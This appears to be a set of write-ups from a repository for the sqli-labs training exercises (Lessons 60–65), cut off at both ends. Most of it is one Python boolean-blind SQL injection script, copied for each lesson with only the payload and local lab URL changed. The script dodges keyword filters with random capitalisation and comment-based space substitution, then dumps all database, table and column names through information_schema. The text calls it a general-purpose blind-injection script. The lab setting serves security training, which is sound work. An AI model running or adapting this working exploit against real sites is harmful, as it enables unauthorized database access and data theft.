random_up_low_keywords = ['select','union','from','limit'] 31 | # 函数名 32 | random_up_low_keywords.append('ascii') 33 | random_up_low_keywords.append('substring') 34 | # 系统库名/表名/列名 35 | random_up_low_keywords.append('information_schema') 36 | random_up_low_keywords.append('schemata') 37 | random_up_low_keywords.append('tables') 38 | random_up_low_keywords.append('columns') 39 | random_up_low_keywords.append('schema_name') 40 | random_up_low_keywords.append('table_name') 41 | random_up_low_keywords.append('column_name') 42 | # define-end 43 | 44 | # TODO-start 45 | # 优化显示 46 | # TODO-end 47 | 48 | def temper(tempPayload): 49 | global random_up_low_keywords 50 | for tempKeyword in random_up_low_keywords: 51 | tempPayload = tempPayload.replace(tempKeyword,getRandomType(tempKeyword)) 52 | tempPayload = tempPayload.replace(" ","/**/") 53 | tempPayload = tempPayload.replace(" ","%a0") 54 | # tempPayload = tempPayload.replace("or","oorr") 55 | # tempPayload = tempPayload.replace("and","anandd") 56 | return tempPayload 57 | 58 | def getRandomType(keywords): 59 | # TODO 返回随机大小写 60 | random_int = random.randint(0, len(keywords) - 1) 61 | tempList = list(keywords) 62 | tempList[random_int] = tempList[random_int].upper() 63 | return "".join(tempList) 64 | 65 | def getPayload(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid): 66 | global payload 67 | # http://127.0.0.1/Less-65/index.php?id=0"or()or"="1 68 | startStr = payload.split("()")[0] 69 | endStr = payload.split("()")[1] 70 | # ((asCIi(sUBString((sELEct/**/scheMA_Name/**/FRom/**/inforMATion_scheMa.schemaTa/**//**/liMit/**/0,1),1,1)))>0) 71 | temppayload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " " + where + " limit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")" 72 | temppayload = startStr + temppayload + endStr 73 | # temper 74 | temppayload = temper(temppayload) 75 | return temppayload 76 | 77 | def exce(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid): 78 | global success_symbol 79 | global url 80 | # content-start 81 | tempurl = url + getPayload(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid) 82 | content = requests.get(tempurl).text 83 | # print content 84 | # content-end 85 | # judge-start 86 | if success_symbol in content: 87 | return True 88 | else: 89 | return False 90 | # judge-end 91 | 92 | def doubleSearch(database_name, table_name, column_name, where, indexOfResult,indexOfChar,left_number, right_number): 93 | while left_number < right_number: 94 | mid = int((left_number + right_number) / 2) 95 | if exce(database_name, table_name, column_name, where, str(indexOfResult),str(indexOfChar + 1),str(mid)): 96 | left_number = mid 97 | else: 98 | right_number = mid 99 | if left_number == right_number - 1: 100 | if exce(database_name, table_name, column_name, where, str(indexOfResult),str(indexOfChar + 1),str(mid)): 101 | mid += 1 102 | break 103 | else: 104 | break 105 | return chr(mid) 106 | 107 | def getAllData(database_name, table_name, column_name, where): 108 | allData = [] 109 | for i in range(32): # 需要遍历的查询结果的数量 110 | counter = 0 111 | data = "" 112 | for j in range(32): # 结果的长度 113 | counter += 1 114 | temp = doubleSearch(database_name, table_name, column_name, where, i, j, 0, 128) # 从255开始查询 115 | if ord(temp) == 1: # 当为1的时候说明已经查询结束 116 | break 117 | sys.stdout.write(temp) 118 | sys.stdout.flush() 119 | data += temp 120 | if counter == 1: # 当结果集的所有行都被遍历后退出 121 | break 122 | sys.stdout.write("\r\n") 123 | sys.stdout.flush() 124 | allData.append(data) 125 | return allData 126 | 127 | def getAllSchemaNames(): 128 | return getAllData(column_name="schema_name", table_name="schemata", database_name="information_schema", where="") 129 | 130 | def getAllTableNames(schema_name): 131 | return getAllData(column_name="table_name", table_name="tables", database_name="information_schema", where="where(table_schema='" + schema_name + "')") 132 | 133 | def getAllColumnNames(schema_name, table_name): 134 | return getAllData(column_name="column_name", table_name="columns", database_name="information_schema", where="where(table_name='" + table_name + "' and table_schema='" + schema_name + "')") 135 | 136 | 137 | def hack(): 138 | print "================================" 139 | print "正在获取所有数据库 ..." 140 | allSchemaNames = getAllSchemaNames() 141 | print "所有数据库名获取完毕 !" 142 | print "================================" 143 | print "正在获取所有数据库表名 ..." 144 | tempDic = {} 145 | allUserSchemaNames = [] 146 | for schema_name in allSchemaNames: 147 | print "--------------------------------" 148 | print "当前数据库 : " + schema_name + "\t", 149 | IS_SYSTEM_SCHEMA = False 150 | for system_schema_name in system_schema_names: 151 | if system_schema_name == schema_name: 152 | print "Mysql自带系统数据库 , 智能忽略 !" 153 | IS_SYSTEM_SCHEMA = True 154 | break 155 | if not IS_SYSTEM_SCHEMA: 156 | print "" 157 | allUserSchemaNames.append(schema_name) 158 | tempDic[schema_name] = getAllTableNames(schema_name) 159 | print "所有表名获取完毕!" 160 | print "================================" 161 | print "正在获取所有表列名 ..." 162 | for schema_name in allUserSchemaNames: 163 | print "--------------------------------" 164 | for table_name in tempDic[schema_name]: 165 | print "当前数据库 : " + schema_name + "\t当前表名 : " + table_name 166 | getAllColumnNames(schema_name, table_name) 167 | print "所有列名获取完毕!" 168 | print "================================" 169 | 170 | hack() 171 | ``` 172 | -------------------------------------------------------------------------------- /writeup/Lesson-60.md: -------------------------------------------------------------------------------- 1 | # Lesson-60 2 | ``` 3 | Bool盲注 4 | ``` 5 | 6 | ``` 7 | #!/usr/bin/env python 8 | # encoding:utf8 9 | 10 | import requests 11 | import time 12 | import sys 13 | import random 14 | 15 | # hack-config-start 16 | payload = "\")|()--+" # 样例 : 0"or()or"="1 或 0' or()or '='1 17 | success_symbol = "Your Login name :" 18 | url = "http://127.0.0.1/Less-60/index.php?id=" 19 | # 如果对参数进行了过滤 , 需要配置temper函数 , 双写或者加注释绕过 20 | # hack-config-end 21 | 22 | # config-start 23 | sleep_time = 5 24 | error_time = 1 25 | # config-end 26 | 27 | # define-start 28 | system_schema_names = ['information_schema','test','mysql','performance_schema','phpmyadmin'] 29 | # 关键字 30 | random_up_low_keywords = ['select','union','from','limit'] 31 | # 函数名 32 | random_up_low_keywords.append('ascii') 33 | random_up_low_keywords.append('substring') 34 | # 系统库名/表名/列名 35 | random_up_low_keywords.append('information_schema') 36 | random_up_low_keywords.append('schemata') 37 | random_up_low_keywords.append('tables') 38 | random_up_low_keywords.append('columns') 39 | random_up_low_keywords.append('schema_name') 40 | random_up_low_keywords.append('table_name') 41 | random_up_low_keywords.append('column_name') 42 | # define-end 43 | 44 | # TODO-start 45 | # 优化显示 46 | # TODO-end 47 | 48 | def temper(tempPayload): 49 | global random_up_low_keywords 50 | for tempKeyword in random_up_low_keywords: 51 | tempPayload = tempPayload.replace(tempKeyword,getRandomType(tempKeyword)) 52 | tempPayload = tempPayload.replace(" ","/**/") 53 | tempPayload = tempPayload.replace(" ","%a0") 54 | # tempPayload = tempPayload.replace("or","oorr") 55 | # tempPayload = tempPayload.replace("and","anandd") 56 | return tempPayload 57 | 58 | def getRandomType(keywords): 59 | # TODO 返回随机大小写 60 | random_int = random.randint(0, len(keywords) - 1) 61 | tempList = list(keywords) 62 | tempList[random_int] = tempList[random_int].upper() 63 | return "".join(tempList) 64 | 65 | def getPayload(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid): 66 | global payload 67 | # http://127.0.0.1/Less-65/index.php?id=0"or()or"="1 68 | startStr = payload.split("()")[0] 69 | endStr = payload.split("()")[1] 70 | # ((asCIi(sUBString((sELEct/**/scheMA_Name/**/FRom/**/inforMATion_scheMa.schemaTa/**//**/liMit/**/0,1),1,1)))>0) 71 | temppayload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " " + where + " limit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")" 72 | temppayload = startStr + temppayload + endStr 73 | # temper 74 | temppayload = temper(temppayload) 75 | return temppayload 76 | 77 | def exce(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid): 78 | global success_symbol 79 | global url 80 | # content-start 81 | tempurl = url + getPayload(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid) 82 | content = requests.get(tempurl).text 83 | # print content 84 | # content-end 85 | # judge-start 86 | if success_symbol in content: 87 | return True 88 | else: 89 | return False 90 | # judge-end 91 | 92 | def doubleSearch(database_name, table_name, column_name, where, indexOfResult,indexOfChar,left_number, right_number): 93 | while left_number < right_number: 94 | mid = int((left_number + right_number) / 2) 95 | if exce(database_name, table_name, column_name, where, str(indexOfResult),str(indexOfChar + 1),str(mid)): 96 | left_number = mid 97 | else: 98 | right_number = mid 99 | if left_number == right_number - 1: 100 | if exce(database_name, table_name, column_name, where, str(indexOfResult),str(indexOfChar + 1),str(mid)): 101 | mid += 1 102 | break 103 | else: 104 | break 105 | return chr(mid) 106 | 107 | def getAllData(database_name, table_name, column_name, where): 108 | allData = [] 109 | for i in range(32): # 需要遍历的查询结果的数量 110 | counter = 0 111 | data = "" 112 | for j in range(32): # 结果的长度 113 | counter += 1 114 | temp = doubleSearch(database_name, table_name, column_name, where, i, j, 0, 128) # 从255开始查询 115 | if ord(temp) == 1: # 当为1的时候说明已经查询结束 116 | break 117 | sys.stdout.write(temp) 118 | sys.stdout.flush() 119 | data += temp 120 | if counter == 1: # 当结果集的所有行都被遍历后退出 121 | break 122 | sys.stdout.write("\r\n") 123 | sys.stdout.flush() 124 | allData.append(data) 125 | return allData 126 | 127 | def getAllSchemaNames(): 128 | return getAllData(column_name="schema_name", table_name="schemata", database_name="information_schema", where="") 129 | 130 | def getAllTableNames(schema_name): 131 | return getAllData(column_name="table_name", table_name="tables", database_name="information_schema", where="where(table_schema='" + schema_name + "')") 132 | 133 | def getAllColumnNames(schema_name, table_name): 134 | return getAllData(column_name="column_name", table_name="columns", database_name="information_schema", where="where(table_name='" + table_name + "' and table_schema='" + schema_name + "')") 135 | 136 | 137 | def hack(): 138 | print "================================" 139 | print "正在获取所有数据库 ..." 140 | allSchemaNames = getAllSchemaNames() 141 | print "所有数据库名获取完毕 !" 142 | print "================================" 143 | print "正在获取所有数据库表名 ..." 144 | tempDic = {} 145 | allUserSchemaNames = [] 146 | for schema_name in allSchemaNames: 147 | print "--------------------------------" 148 | print "当前数据库 : " + schema_name + "\t", 149 | IS_SYSTEM_SCHEMA = False 150 | for system_schema_name in system_schema_names: 151 | if system_schema_name == schema_name: 152 | print "Mysql自带系统数据库 , 智能忽略 !" 153 | IS_SYSTEM_SCHEMA = True 154 | break 155 | if not IS_SYSTEM_SCHEMA: 156 | print "" 157 | allUserSchemaNames.append(schema_name) 158 | tempDic[schema_name] = getAllTableNames(schema_name) 159 | print "所有表名获取完毕!" 160 | print "================================" 161 | print "正在获取所有表列名 ..." 162 | for schema_name in allUserSchemaNames: 163 | print "--------------------------------" 164 | for table_name in tempDic[schema_name]: 165 | print "当前数据库 : " + schema_name + "\t当前表名 : " + table_name 166 | getAllColumnNames(schema_name, table_name) 167 | print "所有列名获取完毕!" 168 | print "================================" 169 | 170 | hack() 171 | ``` 172 | -------------------------------------------------------------------------------- /writeup/Lesson-61.md: -------------------------------------------------------------------------------- 1 | # Lesson-61 2 | ``` 3 | Bool盲注 4 | ``` 5 | 6 | ``` 7 | #!/usr/bin/env python 8 | # encoding:utf8 9 | 10 | import requests 11 | import time 12 | import sys 13 | import random 14 | 15 | # hack-config-start 16 | payload = "'))|()--+" # 样例 : 0"or()or"="1 或 0' or()or '='1 17 | success_symbol = "Your Login name :" 18 | url = "http://127.0.0.1/Less-61/index.php?id=" 19 | # 如果对参数进行了过滤 , 需要配置temper函数 , 双写或者加注释绕过 20 | # hack-config-end 21 | 22 | # config-start 23 | sleep_time = 5 24 | error_time = 1 25 | # config-end 26 | 27 | # define-start 28 | system_schema_names = ['information_schema','test','mysql','performance_schema','phpmyadmin'] 29 | # 关键字 30 | random_up_low_keywords = ['select','union','from','limit'] 31 | # 函数名 32 | random_up_low_keywords.append('ascii') 33 | random_up_low_keywords.append('substring') 34 | # 系统库名/表名/列名 35 | random_up_low_keywords.append('information_schema') 36 | random_up_low_keywords.append('schemata') 37 | random_up_low_keywords.append('tables') 38 | random_up_low_keywords.append('columns') 39 | random_up_low_keywords.append('schema_name') 40 | random_up_low_keywords.append('table_name') 41 | random_up_low_keywords.append('column_name') 42 | # define-end 43 | 44 | # TODO-start 45 | # 优化显示 46 | # TODO-end 47 | 48 | def temper(tempPayload): 49 | global random_up_low_keywords 50 | for tempKeyword in random_up_low_keywords: 51 | tempPayload = tempPayload.replace(tempKeyword,getRandomType(tempKeyword)) 52 | tempPayload = tempPayload.replace(" ","/**/") 53 | tempPayload = tempPayload.replace(" ","%a0") 54 | # tempPayload = tempPayload.replace("or","oorr") 55 | # tempPayload = tempPayload.replace("and","anandd") 56 | return tempPayload 57 | 58 | def getRandomType(keywords): 59 | # TODO 返回随机大小写 60 | random_int = random.randint(0, len(keywords) - 1) 61 | tempList = list(keywords) 62 | tempList[random_int] = tempList[random_int].upper() 63 | return "".join(tempList) 64 | 65 | def getPayload(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid): 66 | global payload 67 | # http://127.0.0.1/Less-65/index.php?id=0"or()or"="1 68 | startStr = payload.split("()")[0] 69 | endStr = payload.split("()")[1] 70 | # ((asCIi(sUBString((sELEct/**/scheMA_Name/**/FRom/**/inforMATion_scheMa.schemaTa/**//**/liMit/**/0,1),1,1)))>0) 71 | temppayload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " " + where + " limit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")" 72 | temppayload = startStr + temppayload + endStr 73 | # temper 74 | temppayload = temper(temppayload) 75 | return temppayload 76 | 77 | def exce(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid): 78 | global success_symbol 79 | global url 80 | # content-start 81 | tempurl = url + getPayload(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid) 82 | content = requests.get(tempurl).text 83 | # print content 84 | # content-end 85 | # judge-start 86 | if success_symbol in content: 87 | return True 88 | else: 89 | return False 90 | # judge-end 91 | 92 | def doubleSearch(database_name, table_name, column_name, where, indexOfResult,indexOfChar,left_number, right_number): 93 | while left_number < right_number: 94 | mid = int((left_number + right_number) / 2) 95 | if exce(database_name, table_name, column_name, where, str(indexOfResult),str(indexOfChar + 1),str(mid)): 96 | left_number = mid 97 | else: 98 | right_number = mid 99 | if left_number == right_number - 1: 100 | if exce(database_name, table_name, column_name, where, str(indexOfResult),str(indexOfChar + 1),str(mid)): 101 | mid += 1 102 | break 103 | else: 104 | break 105 | return chr(mid) 106 | 107 | def getAllData(database_name, table_name, column_name, where): 108 | allData = [] 109 | for i in range(32): # 需要遍历的查询结果的数量 110 | counter = 0 111 | data = "" 112 | for j in range(32): # 结果的长度 113 | counter += 1 114 | temp = doubleSearch(database_name, table_name, column_name, where, i, j, 0, 128) # 从255开始查询 115 | if ord(temp) == 1: # 当为1的时候说明已经查询结束 116 | break 117 | sys.stdout.write(temp) 118 | sys.stdout.flush() 119 | data += temp 120 | if counter == 1: # 当结果集的所有行都被遍历后退出 121 | break 122 | sys.stdout.write("\r\n") 123 | sys.stdout.flush() 124 | allData.append(data) 125 | return allData 126 | 127 | def getAllSchemaNames(): 128 | return getAllData(column_name="schema_name", table_name="schemata", database_name="information_schema", where="") 129 | 130 | def getAllTableNames(schema_name): 131 | return getAllData(column_name="table_name", table_name="tables", database_name="information_schema", where="where(table_schema='" + schema_name + "')") 132 | 133 | def getAllColumnNames(schema_name, table_name): 134 | return getAllData(column_name="column_name", table_name="columns", database_name="information_schema", where="where(table_name='" + table_name + "' and table_schema='" + schema_name + "')") 135 | 136 | 137 | def hack(): 138 | print "================================" 139 | print "正在获取所有数据库 ..." 140 | allSchemaNames = getAllSchemaNames() 141 | print "所有数据库名获取完毕 !" 142 | print "================================" 143 | print "正在获取所有数据库表名 ..." 144 | tempDic = {} 145 | allUserSchemaNames = [] 146 | for schema_name in allSchemaNames: 147 | print "--------------------------------" 148 | print "当前数据库 : " + schema_name + "\t", 149 | IS_SYSTEM_SCHEMA = False 150 | for system_schema_name in system_schema_names: 151 | if system_schema_name == schema_name: 152 | print "Mysql自带系统数据库 , 智能忽略 !" 153 | IS_SYSTEM_SCHEMA = True 154 | break 155 | if not IS_SYSTEM_SCHEMA: 156 | print "" 157 | allUserSchemaNames.append(schema_name) 158 | tempDic[schema_name] = getAllTableNames(schema_name) 159 | print "所有表名获取完毕!" 160 | print "================================" 161 | print "正在获取所有表列名 ..." 162 | for schema_name in allUserSchemaNames: 163 | print "--------------------------------" 164 | for table_name in tempDic[schema_name]: 165 | print "当前数据库 : " + schema_name + "\t当前表名 : " + table_name 166 | getAllColumnNames(schema_name, table_name) 167 | print "所有列名获取完毕!" 168 | print "================================" 169 | 170 | hack() 171 | ``` 172 | -------------------------------------------------------------------------------- /writeup/Lesson-62.md: -------------------------------------------------------------------------------- 1 | # Lesson-62 2 | ``` 3 | Bool盲注 4 | ``` 5 | 6 | ``` 7 | #!/usr/bin/env python 8 | # encoding:utf8 9 | 10 | import requests 11 | import time 12 | import sys 13 | import random 14 | 15 | # hack-config-start 16 | payload = "0')|()--+" # 样例 : 0"or()or"="1 或 0' or()or '='1 17 | success_symbol = "Your Login name :" 18 | url = "http://127.0.0.1/Less-62/?id=" 19 | # 如果对参数进行了过滤 , 需要配置temper函数 , 双写或者加注释绕过 20 | # hack-config-end 21 | 22 | # config-start 23 | sleep_time = 5 24 | error_time = 1 25 | # config-end 26 | 27 | # define-start 28 | system_schema_names = ['information_schema','test','mysql','performance_schema','phpmyadmin'] 29 | # 关键字 30 | random_up_low_keywords = ['select','union','from','limit'] 31 | # 函数名 32 | random_up_low_keywords.append('ascii') 33 | random_up_low_keywords.append('substring') 34 | # 系统库名/表名/列名 35 | random_up_low_keywords.append('information_schema') 36 | random_up_low_keywords.append('schemata') 37 | random_up_low_keywords.append('tables') 38 | random_up_low_keywords.append('columns') 39 | random_up_low_keywords.append('schema_name') 40 | random_up_low_keywords.append('table_name') 41 | random_up_low_keywords.append('column_name') 42 | # define-end 43 | 44 | # TODO-start 45 | # 优化显示 46 | # TODO-end 47 | 48 | def temper(tempPayload): 49 | global random_up_low_keywords 50 | for tempKeyword in random_up_low_keywords: 51 | tempPayload = tempPayload.replace(tempKeyword,getRandomType(tempKeyword)) 52 | tempPayload = tempPayload.replace(" ","/**/") 53 | tempPayload = tempPayload.replace(" ","%a0") 54 | # tempPayload = tempPayload.replace("or","oorr") 55 | # tempPayload = tempPayload.replace("and","anandd") 56 | return tempPayload 57 | 58 | def getRandomType(keywords): 59 | # TODO 返回随机大小写 60 | random_int = random.randint(0, len(keywords) - 1) 61 | tempList = list(keywords) 62 | tempList[random_int] = tempList[random_int].upper() 63 | return "".join(tempList) 64 | 65 | def getPayload(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid): 66 | global payload 67 | # http://127.0.0.1/Less-65/index.php?id=0"or()or"="1 68 | startStr = payload.split("()")[0] 69 | endStr = payload.split("()")[1] 70 | # ((asCIi(sUBString((sELEct/**/scheMA_Name/**/FRom/**/inforMATion_scheMa.schemaTa/**//**/liMit/**/0,1),1,1)))>0) 71 | temppayload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " " + where + " limit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")" 72 | temppayload = startStr + temppayload + endStr 73 | # temper 74 | temppayload = temper(temppayload) 75 | return temppayload 76 | 77 | def exce(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid): 78 | global success_symbol 79 | global url 80 | # content-start 81 | tempurl = url + getPayload(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid) 82 | content = requests.get(tempurl).text 83 | # print content 84 | # content-end 85 | # judge-start 86 | if success_symbol in content: 87 | return True 88 | else: 89 | return False 90 | # judge-end 91 | 92 | def doubleSearch(database_name, table_name, column_name, where, indexOfResult,indexOfChar,left_number, right_number): 93 | while left_number < right_number: 94 | mid = int((left_number + right_number) / 2) 95 | if exce(database_name, table_name, column_name, where, str(indexOfResult),str(indexOfChar + 1),str(mid)): 96 | left_number = mid 97 | else: 98 | right_number = mid 99 | if left_number == right_number - 1: 100 | if exce(database_name, table_name, column_name, where, str(indexOfResult),str(indexOfChar + 1),str(mid)): 101 | mid += 1 102 | break 103 | else: 104 | break 105 | return chr(mid) 106 | 107 | def getAllData(database_name, table_name, column_name, where): 108 | allData = [] 109 | for i in range(32): # 需要遍历的查询结果的数量 110 | counter = 0 111 | data = "" 112 | for j in range(32): # 结果的长度 113 | counter += 1 114 | temp = doubleSearch(database_name, table_name, column_name, where, i, j, 0, 128) # 从255开始查询 115 | if ord(temp) == 1: # 当为1的时候说明已经查询结束 116 | break 117 | sys.stdout.write(temp) 118 | sys.stdout.flush() 119 | data += temp 120 | if counter == 1: # 当结果集的所有行都被遍历后退出 121 | break 122 | sys.stdout.write("\r\n") 123 | sys.stdout.flush() 124 | allData.append(data) 125 | return allData 126 | 127 | def getAllSchemaNames(): 128 | return getAllData(column_name="schema_name", table_name="schemata", database_name="information_schema", where="") 129 | 130 | def getAllTableNames(schema_name): 131 | return getAllData(column_name="table_name", table_name="tables", database_name="information_schema", where="where(table_schema='" + schema_name + "')") 132 | 133 | def getAllColumnNames(schema_name, table_name): 134 | return getAllData(column_name="column_name", table_name="columns", database_name="information_schema", where="where(table_name='" + table_name + "' and table_schema='" + schema_name + "')") 135 | 136 | 137 | def hack(): 138 | print "================================" 139 | print "正在获取所有数据库 ..." 140 | allSchemaNames = getAllSchemaNames() 141 | print "所有数据库名获取完毕 !" 142 | print "================================" 143 | print "正在获取所有数据库表名 ..." 144 | tempDic = {} 145 | allUserSchemaNames = [] 146 | for schema_name in allSchemaNames: 147 | print "--------------------------------" 148 | print "当前数据库 : " + schema_name + "\t", 149 | IS_SYSTEM_SCHEMA = False 150 | for system_schema_name in system_schema_names: 151 | if system_schema_name == schema_name: 152 | print "Mysql自带系统数据库 , 智能忽略 !" 153 | IS_SYSTEM_SCHEMA = True 154 | break 155 | if not IS_SYSTEM_SCHEMA: 156 | print "" 157 | allUserSchemaNames.append(schema_name) 158 | tempDic[schema_name] = getAllTableNames(schema_name) 159 | print "所有表名获取完毕!" 160 | print "================================" 161 | print "正在获取所有表列名 ..." 162 | for schema_name in allUserSchemaNames: 163 | print "--------------------------------" 164 | for table_name in tempDic[schema_name]: 165 | print "当前数据库 : " + schema_name + "\t当前表名 : " + table_name 166 | getAllColumnNames(schema_name, table_name) 167 | print "所有列名获取完毕!" 168 | print "================================" 169 | 170 | hack() 171 | ``` 172 | -------------------------------------------------------------------------------- /writeup/Lesson-63.md: -------------------------------------------------------------------------------- 1 | # Lesson-63 2 | ``` 3 | Bool盲注 4 | ``` 5 | 6 | ``` 7 | #!/usr/bin/env python 8 | # encoding:utf8 9 | 10 | import requests 11 | import time 12 | import sys 13 | import random 14 | 15 | # hack-config-start 16 | payload = "0'|()--+" # 样例 : 0"or()or"="1 或 0' or()or '='1 用空括号把产生Bool值的地方包裹起来 17 | success_symbol = "Your Login name :" 18 | url = "http://127.0.0.1/Less-63/?id=" 19 | # 如果对参数进行了过滤 , 需要配置temper函数 , 双写或者加注释绕过 20 | # hack-config-end 21 | 22 | # config-start 23 | sleep_time = 5 24 | error_time = 1 25 | # config-end 26 | 27 | # define-start 28 | system_schema_names = ['information_schema','test','mysql','performance_schema','phpmyadmin'] 29 | # 关键字 30 | random_up_low_keywords = ['select','union','from','limit'] 31 | # 函数名 32 | random_up_low_keywords.append('ascii') 33 | random_up_low_keywords.append('substring') 34 | # 系统库名/表名/列名 35 | random_up_low_keywords.append('information_schema') 36 | random_up_low_keywords.append('schemata') 37 | random_up_low_keywords.append('tables') 38 | random_up_low_keywords.append('columns') 39 | random_up_low_keywords.append('schema_name') 40 | random_up_low_keywords.append('table_name') 41 | random_up_low_keywords.append('column_name') 42 | # define-end 43 | 44 | # TODO-start 45 | # 优化显示 46 | # TODO-end 47 | 48 | def temper(tempPayload): 49 | global random_up_low_keywords 50 | for tempKeyword in random_up_low_keywords: 51 | tempPayload = tempPayload.replace(tempKeyword,getRandomType(tempKeyword)) 52 | tempPayload = tempPayload.replace(" ","/**/") 53 | tempPayload = tempPayload.replace(" ","%a0") 54 | # tempPayload = tempPayload.replace("or","oorr") 55 | # tempPayload = tempPayload.replace("and","anandd") 56 | return tempPayload 57 | 58 | def getRandomType(keywords): 59 | # TODO 返回随机大小写 60 | random_int = random.randint(0, len(keywords) - 1) 61 | tempList = list(keywords) 62 | tempList[random_int] = tempList[random_int].upper() 63 | return "".join(tempList) 64 | 65 | def getPayload(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid): 66 | global payload 67 | # http://127.0.0.1/Less-65/index.php?id=0"or()or"="1 68 | startStr = payload.split("()")[0] 69 | endStr = payload.split("()")[1] 70 | # ((asCIi(sUBString((sELEct/**/scheMA_Name/**/FRom/**/inforMATion_scheMa.schemaTa/**//**/liMit/**/0,1),1,1)))>0) 71 | temppayload = "((ascii(substring((select " + column_name + " from " + database_name + "." + table_name + " " + where + " limit " + indexOfResult + ",1)," + indexOfChar + ",1)))>" + mid + ")" 72 | temppayload = startStr + temppayload + endStr 73 | # temper 74 | temppayload = temper(temppayload) 75 | return temppayload 76 | 77 | def exce(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid): 78 | global success_symbol 79 | global url 80 | # content-start 81 | tempurl = url + getPayload(database_name, table_name, column_name, where, indexOfResult, indexOfChar, mid) 82 | content = requests.get(tempurl).text 83 | # print content 84 | # content-end 85 | # judge-start 86 | if success_symbol in content: 87 | return True 88 | else: 89 | return False 90 | # judge-end 91 | 92 | def doubleSearch(database_name, table_name, column_name, where, indexOfResult,indexOfChar,left_number, right_number): 93 | while left_number < right_number: 94 | mid = int((left_number + right_number) / 2) 95 | if exce(database_name, table_name, column_name, where, str(indexOfResult),str(indexOfChar + 1),str(mid)): 96 | left_number = mid 97 | else: 98 | right_number = mid 99 | if left_number == right_number - 1: 100 | if exce(database_name, table_name, column_name, where, str(indexOfResult),str(indexOfChar + 1),str(mid)): 101 | mid += 1 102 | break 103 | else: 104 | break 105 | return chr(mid) 106 | 107 | def getAllData(database_name, table_name, column_name, where): 108 | allData = [] 109 | for i in range(32): # 需要遍历的查询结果的数量 110 | counter = 0 111 | data = "" 112 | for j in range(32): # 结果的长度 113 | counter += 1 114 | temp = doubleSearch(database_name, table_name, column_name, where, i, j, 0, 128) # 从255开始查询 115 | if ord(temp) == 1: # 当为1的时候说明已经查询结束 116 | break 117 | sys.stdout.write(temp) 118 | sys.stdout.flush() 119 | data += temp 120 | if counter == 1: # 当结果集的所有行都被遍历后退出 121 | break 122 | sys.stdout.write("\r\n") 123 | sys.stdout.flush() 124 | allData.append(data) 125 | return allData 126 | 127 | def getAllSchemaNames(): 128 | return getAllData(column_name="schema_name", table_name="schemata", database_name="information_schema", where="") 129 | 130 | def getAllTableNames(schema_name): 131 | return getAllData(column_name="table_name", table_name="tables", database_name="information_schema", where="where(table_schema='" + schema_name + "')") 132 | 133 | def getAllColumnNames(schema_name, table_name): 134 | return getAllData(column_name="column_name", table_name="columns", database_name="information_schema", where="where(table_name='" + table_name + "' and table_schema='" + schema_name + "')") 135 | 136 | 137 | def hack(): 138 | print "================================" 139 | print "正在获取所有数据库 ..." 140 | allSchemaNames = getAllSchemaNames() 141 | print "所有数据库名获取完毕 !" 142 | print "================================" 143 | print "正在获取所有数据库表名 ..." 144 | tempDic = {} 145 | allUserSchemaNames = [] 146 | for schema_name in allSchemaNames: 147 | print "--------------------------------" 148 | print "当前数据库 : " + schema_name + "\t", 149 | IS_SYSTEM_SCHEMA = False 150 | for system_schema_name in system_schema_names: 151 | if system_schema_name == schema_name: 152 | print "Mysql自带系统数据库 , 智能忽略 !" 153 | IS_SYSTEM_SCHEMA = True 154 | break 155 | if not IS_SYSTEM_SCHEMA: 156 | print "" 157 | allUserSchemaNames.append(schema_name) 158 | tempDic[schema_name] = getAllTableNames(schema_name) 159 | print "所有表名获取完毕!" 160 | print "================================" 161 | print "正在获取所有表列名 ..." 162 | for schema_name in allUserSchemaNames: 163 | print "--------------------------------" 164 | for table_name in tempDic[schema_name]: 165 | print "当前数据库 : " + schema_name + "\t当前表名 : " + table_name 166 | getAllColumnNames(schema_name, table_name) 167 | print "所有列名获取完毕!" 168 | print "================================" 169 | 170 | hack() 171 | ``` 172 | -------------------------------------------------------------------------------- /writeup/Lesson-64.md: -------------------------------------------------------------------------------- 1 | # Lesson-64 2 | ``` 3 | Bool盲注 4 | ``` 5 | 6 | 7 | -------------------------------------------------------------------------------- /writeup/Lesson-65.md: -------------------------------------------------------------------------------- 1 | # Lesson-65 2 | ``` 3 | Bool盲注 4 | ``` 5 | 6 | --- 7 | > 简单写了一下 8 | > 基本上是一个通用的Bool盲注脚本 , 可以自行修改 9 | > 目前默认是Dump所有表结构(库名 , 表名 , 列名) 10 | 11 | --- 12 | 运行截图 : 13 | 14 | ![2016-12-17_190211.png](http://upload-images.jianshu.io/upload_images/2355077-75b5a7a456c7f25f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) 15 | 16 | ![2016-12-17_190726.png](http://upload-images.jianshu.io/upload_images/2355077-2155d01c179e33f4.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) 17 | 18 | --- 19 | ``` 20 | #!/usr/bin/env python 21 | # encoding:utf8 22 | 23 | import requests 24 | import time 25 | import sys 26 | import random 27 | 28 | # hack-config-start 29 | payload = "0|()" # 样例 : 0"or()or"="1 或 0' or()or '='1 30 | success_symbol = "Your Username is :" 31 | url = "http://127.0.0.1/Less-39/?id=" 32 | # 如果对参数进行了过滤 , 需要配置temper函数 , 双写或者加注释绕过 33 | # hack-config-end 34 | 35 | # config-start 36 | sleep_time = 5 37 | error_time = 1 38 | # config-end 39 | 40 | # define-start 41 | system_schema_names = ['information_schema','test','mysql','performance_schema'] 42 | # define-end 43 | 44 | # 